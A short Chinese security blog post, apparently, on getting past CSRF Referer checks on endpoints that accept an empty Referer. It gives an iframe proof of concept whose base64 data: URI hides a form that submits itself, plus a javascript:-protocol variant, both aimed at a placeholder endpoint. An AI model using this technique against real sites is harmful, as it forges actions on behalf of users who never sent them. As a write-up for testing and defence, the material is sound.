在實際環境中,服務器很多CGI由於一些歷史原因,必須允許空Referer的請求。比如:老的客戶端版本請求的時候就沒有Referer,總不能在服務端一刀切,讓老版本的用戶都無法正常使用了吧。
這樣的CGI就存在CSRF攻擊的風險。那么我們該如何在真實環境中構造一個可利用的POC呢?
我們知道正常的頁面跳轉,瀏覽器都會自動帶上Referer,那么現在的問題就變成了什么情況下瀏覽器會不帶Referer?通過一些資料,可以大致總結為兩種情況:
1.通過地址欄,手動輸入;從書簽里面選擇;通過實現設定好的手勢。上面說的這三種都是用戶自己去操作,因此不算CSRF。
2.跨協議間提交請求。常見的協議:ftp://,http://,https://,file://,javascript:,data:.最簡單的情況就是我們在本地打開一個HTML頁面,這個時候瀏覽器地址欄是file://開頭的,如果這個HTML頁面向任何http站點提交請求的話,這些請求的Referer都是空的。那么我們接下來可以利用data:協議來構造一個自動提交的CSRF攻擊。當然這個協議是IE不支持的,我們可以換用javascript:
假如http://a.b.com/d 這個接口存在空Referer繞過的CSRF,那么我們的POC可以是這樣的:
<html> <body> <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg=="> </doby> </html>
上面iframe的src的代碼其實是:
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
自動提交表單到有缺陷的CGI.
剛才說了上面的POC對IE支持不好,那么我們可以用javascript:協議來實現一個類似的,大致思路是這樣的,具體構造代碼我不弄了:
<iframe id="a" src=""></iframe> <script> document.getElementById("a").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(xx)</scr'+'ipt></body></html>"'; </script>